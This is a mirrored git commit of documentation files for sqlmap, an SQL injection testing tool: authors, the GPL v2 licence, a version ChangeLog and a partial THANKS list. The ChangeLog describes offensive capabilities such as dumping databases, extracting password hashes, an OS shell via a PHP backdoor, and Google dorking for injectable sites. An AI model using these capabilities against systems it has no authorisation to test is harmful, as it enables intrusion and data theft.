mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 02:23:45 +03:00
After the storm, a restore..
This commit is contained in:
commit
8e3eb45510
7
doc/AUTHORS
Normal file
7
doc/AUTHORS
Normal file
|
@ -0,0 +1,7 @@
|
|||
Bernardo Damele A. G. (inquis) - project leader, core developer
|
||||
<bernardo.damele@gmail.com>
|
||||
PGP Key ID: 0x05F5A30F
|
||||
|
||||
Daniele Bellucci (belch) - project founder, initial developer
|
||||
<daniele.bellucci@gmail.com>
|
||||
PGP Key ID: 0x9A0E8190
|
340
doc/COPYING
Normal file
340
doc/COPYING
Normal file
|
@ -0,0 +1,340 @@
|
|||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Library General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Library General
|
||||
Public License instead of this License.
|
229
doc/ChangeLog
Normal file
229
doc/ChangeLog
Normal file
|
@ -0,0 +1,229 @@
|
|||
sqlmap (0.6.1-1) stable; urgency=low
|
||||
|
||||
* Major bug fix to blind SQL injection bisection algorithm to handle an
|
||||
exception;
|
||||
* Written a Metasploit 3 auxiliary module to run sqlmap;
|
||||
* Implemented possibility to test for and inject also on LIKE
|
||||
statements;
|
||||
* Implemented --start and --stop options to set the first and the last
|
||||
table entry to dump;
|
||||
* Added non-interactive/batch-mode (--batch) option to make it easy to
|
||||
wrap sqlmap in Metasploit and any other tool;
|
||||
* Minor enhancement to save also the length of query output in the
|
||||
session file when retrieving the query output length for ETA or for
|
||||
resume purposes. TODO: fix for ETA
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 10 Oct 2008 10:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.6-1) stable; urgency=low
|
||||
|
||||
* Complete code refactor and many bugs fixed;
|
||||
* Added multithreading support to set the maximum number of concurrent
|
||||
HTTP requests;
|
||||
* Implemented SQL shell (--sql-shell) functionality and fixed SQL query
|
||||
(--sql-query, before called -e) to be able to run whatever SELECT
|
||||
statement and get its output in both inband and blind SQL injection
|
||||
attack;
|
||||
* Added an option (--privileges) to retrieve DBMS users privileges, it
|
||||
also notifies if the user is a DBMS administrator;
|
||||
* Added support (-c) to read options from configuration file, an example
|
||||
of valid INI file is sqlmap.conf and support (--save) to save command
|
||||
line options on a configuration file;
|
||||
* Created a function that updates the whole sqlmap to the latest stable
|
||||
version available by running sqlmap with --update option;
|
||||
* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
|
||||
installation binary packages;
|
||||
* Created sqlmap .exe (Windows) portable executable;
|
||||
* Save a lot of more information to the session file, useful when
|
||||
resuming injection on the same target to not loose time on identifying
|
||||
injection, UNION fields and back-end DBMS twice or more times;
|
||||
* Improved automatic check for parenthesis when testing and forging SQL
|
||||
query vector;
|
||||
* Now it checks for SQL injection on all GET/POST/Cookie parameters then
|
||||
it lets the user select which parameter to perform the injection on in
|
||||
case that more than one is injectable;
|
||||
* Implemented support for HTTPS requests over HTTP(S) proxy;
|
||||
* Added a check to handle NULL or not available queries output;
|
||||
* More entropy (randomStr() and randomInt() functions in
|
||||
lib/core/common.py) in inband SQL injection concatenated query and in
|
||||
AND condition checks;
|
||||
* Improved XML files structure;
|
||||
* Implemented the possibility to change the HTTP Referer header;
|
||||
* Added support to resume from session file also when running with
|
||||
inband SQL injection attack;
|
||||
* Added an option (--os-shell) to execute operating system commands if
|
||||
the back-end DBMS is MySQL, the web server has the PHP engine active
|
||||
and permits write access on a directory within the document root;
|
||||
* Added a check to assure that the provided string to match (--string)
|
||||
is within the page content;
|
||||
* Fixed various queries in XML file;
|
||||
* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
|
||||
the library to parse it;
|
||||
* Fixed password fetching function, mainly for Microsoft SQL Server and
|
||||
reviewed the password hashes parsing function;
|
||||
* Major bug fixed to avoid tracebacks when the testable parameter(s) is
|
||||
dynamic, but not injectable;
|
||||
* Enhanced logging system: added three more levels of verbosity to show
|
||||
also HTTP sent and received traffic;
|
||||
* Enhancement to handle Set-Cookie from target url and automatically
|
||||
re-establish the Session when it expires;
|
||||
* Added support to inject also on Set-Cookie parameters;
|
||||
* Implemented TAB completion and command history on both --sql-shell and
|
||||
--os-shell;
|
||||
* Renamed some command line options;
|
||||
* Added a conversion library;
|
||||
* Added code schema and reminders for future developments;
|
||||
* Added Copyright comment and $Id$ svn property to all Python files;
|
||||
* Updated the command line layout and help messages;
|
||||
* Updated some docstrings;
|
||||
* Updated documentation files.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.5-1) stable; urgency=low
|
||||
|
||||
* Added support for Oracle database management system
|
||||
* Extended inband SQL injection functionality (--union-use) to all
|
||||
other possible queries since it only worked with -e and --file on
|
||||
all DMBS plugins;
|
||||
* Added support to extract database users password hash on Microsoft
|
||||
SQL Server;
|
||||
* Added a fuzzer function with the aim to parse HTML page looking
|
||||
for standard database error messages consequently improving
|
||||
database fingerprinting;
|
||||
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
|
||||
* Reviewed HTTP request library (lib/request.py) to support the
|
||||
extended inband SQL injection functionality. Splitted getValue()
|
||||
into getInband() and getBlind();
|
||||
* Major enhancements in common library and added checkForBrackets()
|
||||
method to check if the bracket(s) are needed to perform a UNION query
|
||||
SQL injection attack;
|
||||
* Implemented --dump-all functionality to dump entire DBMS data from
|
||||
all databases tables;
|
||||
* Added support to exclude DBMS system databases' when enumeration
|
||||
tables and dumping their entries (--exclude-sysdbs);
|
||||
* Implemented in Dump.dbTableValues() method the CSV file dumped data
|
||||
automatic saving in csv/ folder by default;
|
||||
* Added DB2, Informix and Sybase DBMS error messages and minor
|
||||
improvements in xml/errors.xml;
|
||||
* Major improvement in all three DBMS plugins so now sqlmap does not
|
||||
get entire databases' tables structure when all of database/table/
|
||||
column are specified to be dumped;
|
||||
* Important fixes in lib/option.py to make sqlmap properly work also
|
||||
with python 2.5 and handle the CSV dump files creation work also
|
||||
under Windows operating system, function __setCSVDir() and fixed
|
||||
also in lib/dump.py;
|
||||
* Minor enhancement in lib/injection.py to randomize the number
|
||||
requested to test the presence of a SQL injection affected parameter
|
||||
and implemented the possibilities to break (q) the for cycle when
|
||||
using the google dork option (-g);
|
||||
* Minor fix in lib/request.py to properly encode the url to request
|
||||
in case the "fixed" part of the url has blank spaces;
|
||||
* More minor layout enhancements in some libraries;
|
||||
* Renamed DMBS plugins;
|
||||
* Complete code refactoring, a lot of minor and some major fixes in
|
||||
libraries, many minor improvements;
|
||||
* Updated all documentation files.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.4-1) stable; urgency=low
|
||||
|
||||
* Added DBMS fingerprint based also upon HTML error messages parsing
|
||||
defined in lib/parser.py which reads an XML file defining default
|
||||
error messages for each supported DBMS;
|
||||
* Added Microsoft SQL Server extensive DBMS fingerprint checks based
|
||||
upon accurate '@@version' parsing matching on an XML file to get also
|
||||
the exact patching level of the DBMS;
|
||||
* Added support for query ETA (Estimated Time of Arrival) real time
|
||||
calculation (--eta);
|
||||
* Added support to extract database management system users password
|
||||
hash on MySQL and PostgreSQL (--passwords);
|
||||
* Added docstrings to all functions, classes and methods, consequently
|
||||
released the sqlmap development documentation
|
||||
<http://sqlmap.sourceforge.net/dev/>;
|
||||
* Implemented Google dorking feature (-g) to take advantage of Google
|
||||
results affected by SQL injection to perform other command line
|
||||
argument on their DBMS;
|
||||
* Improved logging functionality: passed from banal 'print' to Python
|
||||
native logging library;
|
||||
* Added support for more than one parameter in '-p' command line
|
||||
option;
|
||||
* Added support for HTTP Basic and Digest authentication methods
|
||||
(--basic-auth and --digest-auth);
|
||||
* Added the command line option '--remote-dbms' to manually specify
|
||||
the remote DBMS;
|
||||
* Major improvements in union.UnionCheck() and union.UnionUse()
|
||||
functions to make it possible to exploit inband SQL injection also
|
||||
with database comment characters ('--' and '#') in UNION SELECT
|
||||
statements;
|
||||
* Added the possibility to save the output into a file while performing
|
||||
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
|
||||
same query output retrieving in a second time (--resume);
|
||||
* Added support to specify the database table column to enumerate
|
||||
(-C COL);
|
||||
* Added inband SQL injection (UNION SELECT) support (--union-use);
|
||||
* Complete code refactoring, a lot of minor and some major fixes in
|
||||
libraries, many minor improvements;
|
||||
* Reviewed the directory tree structure;
|
||||
* Splitted lib/common.py: inband injection functionalities now are
|
||||
moved to lib/union.py;
|
||||
* Updated documentation files.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.3-1) stable; urgency=low
|
||||
|
||||
* Added module for MS SQL Server;
|
||||
* Strongly improved MySQL dbms active fingerprint and added MySQL
|
||||
comment injection check;
|
||||
* Added PostgreSQL dbms active fingerprint;
|
||||
* Added support for string match (--string);
|
||||
* Added support for UNION check (--union-check);
|
||||
* Removed duplicated code, delegated most of features to the engine
|
||||
in common.py and option.py;
|
||||
* Added support for --data command line argument to pass the string
|
||||
for POST requests;
|
||||
* Added encodeParams() method to encode url parameters before making
|
||||
http request;
|
||||
* Many bug fixes;
|
||||
* Rewritten documentation files;
|
||||
* Complete code restyling.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.2-1) stable; urgency=low
|
||||
|
||||
* complete refactor of entire program;
|
||||
* added TODO and THANKS files;
|
||||
* added some papers references in README file;
|
||||
* moved headers to user-agents.txt, now -f parameter specifies a file
|
||||
(user-agents.txt) and randomize the selection of User-Agent header;
|
||||
* strongly improved program plugins (mysqlmap.py and postgres.py),
|
||||
major enhancements:
|
||||
* improved active mysql fingerprint check_dbms();
|
||||
* improved enumeration functions for both databases;
|
||||
* minor changes in the unescape() functions;
|
||||
* replaced old inference algorithm with a new bisection algorithm.
|
||||
* reviewed command line parameters, now with -p it's possible to
|
||||
specify the parameter you know it's vulnerable to sql injection,
|
||||
this way the script won't perform the sql injection checks itself;
|
||||
removed the TOKEN parameter;
|
||||
* improved Common class, adding support for http proxy and http post
|
||||
method in hash_page;
|
||||
* added OptionCheck class in option.py which performs all needed checks
|
||||
on command line parameters and values;
|
||||
* added InjectionCheck class in injection.py which performs check on
|
||||
url stability, dynamics of parameters and injection on dynamic url
|
||||
parameters;
|
||||
* improved output methods in dump.py;
|
||||
* layout enhancement on main program file (sqlmap.py), adapted to call
|
||||
new option/injection classes and improvements on catching of
|
||||
exceptions.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 13 Dec 2006 20:00:00 +0100
|
3264
doc/README.html
Normal file
3264
doc/README.html
Normal file
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
Normal file
BIN
doc/README.pdf
Normal file
Binary file not shown.
3170
doc/README.sgml
Normal file
3170
doc/README.sgml
Normal file
File diff suppressed because it is too large
Load Diff
117
doc/THANKS
Normal file
117
doc/THANKS
Normal file
|
@ -0,0 +1,117 @@
|
|||
== Individuals ==
|
||||
|
||||
Chip Andrews <chip@sqlsecurity.com>
|
||||
for his excellent work maintaining the SQL Server versions database
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
algorithm
|
||||
|
||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||
for suggesting good features
|
||||
|
||||
Adam Faheem <faheem.adam@is.co.za>
|
||||
for reporting a few bugs
|
||||
|
||||
Rong-En Fan <rafan@freebsd.org>
|
||||
for commiting the sqlmap 0.5 port to the official FreeBSD project
|
||||
repository
|
||||
|
||||
Giorgio Fedon <giorgio.fedon@gmail.com>
|
||||
for suggesting a speed improvement for bisection algorithm
|
||||
for reporting a bug when running against Microsoft SQL Server 2005
|
||||
|
||||
Ivan Giacomelli <truemilk@insiberia.net>
|
||||
for reporting a bug
|
||||
for suggesting a minor enhancement
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
for suggesting an enhancement
|
||||
|
||||
Kristian Erik Hermansen <kristian.hermansen@gmail.com>
|
||||
for reporting a bug
|
||||
for donating to sqlmap development
|
||||
|
||||
Jorge Hoya <aquinadie@gmail.com>
|
||||
for suggesting a minor enhancement
|
||||
|
||||
Will Holcomb <wholcomb@gmail.com>
|
||||
for his MultipartPostHandler class to handle multipart POST forms and
|
||||
permission to include it within sqlmap source code
|
||||
|
||||
Michael Majchrowicz <mmajchrowicz@gmail.com>
|
||||
for extensively beta-testing sqlmap on various MySQL DBMS
|
||||
for providing really appreciated feedback
|
||||
for suggesting a lot of ideas and features
|
||||
|
||||
Enrico Milanese <enricomilanese@gmail.com>
|
||||
for reporting a bugs when using (-a) a single line User-Agent file
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Roberto Nemirovsky <roberto.paes@gmail.com>
|
||||
for pointing me out some enhancements
|
||||
|
||||
Antonio Parata <s4tan@ictsc.it>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Chris Patten <cpatten@sunera.com>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
Adam Pridgen <adam.pridgen@gmail.com>
|
||||
for suggesting some features
|
||||
|
||||
Alberto Revelli <r00t@northernfortress.net>
|
||||
for inspiring me to write sqlmap user's manual in SGML
|
||||
for his great Microsoft SQL Server take over tool, sqlninja,
|
||||
http://sqlninja.sourceforge.net
|
||||
|
||||
Andres Riancho <andres.riancho@gmail.com>
|
||||
for beta-testing sqlmap
|
||||
for reporting a bug and suggesting some features
|
||||
for including sqlmap in his great web application audit and attack
|
||||
framework, w3af, http://w3af.sourceforge.net
|
||||
|
||||
Antonio Riva <antonio.riva@gmail.com>
|
||||
for reporting a bug when running with python 2.5
|
||||
|
||||
Richard Safran <allapplyhere@yahoo.com>
|
||||
for donating the sqlmap.org domain control
|
||||
|
||||
Tomoyuki Sakurai <cherry@trombik.org>
|
||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||
|
||||
M Simkin <mlsimkin@cox.net>
|
||||
for suggesting a feature
|
||||
|
||||
Alessandro Tanasi <alessandro@tanasi.it>
|
||||
for extensively beta-testing sqlmap
|
||||
for suggesting many features and reporting some minor bugs
|
||||
|
||||
Efrain Torres <et@metasploit.com>
|
||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||
auxiliary module and the integration with Metasploit WMAP framework
|
||||
for his great Metasploit WMAP framework
|
||||
|
||||
Sandro Tosi <matrixhasu@gmail.com>
|
||||
for helping to create sqlmap Debian package correctly
|
||||
|
||||
Bedirhan Urgun <bedirhanurgun@gmail.com>
|
||||
for extensively beta-testing sqlmap
|
||||
for suggesting some features and improvements
|
||||
for benchmarking sqlmap in the context of his SQL injection
|
||||
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
||||
|
||||
fufuh <fufuh@users.sourceforge.net>
|
||||
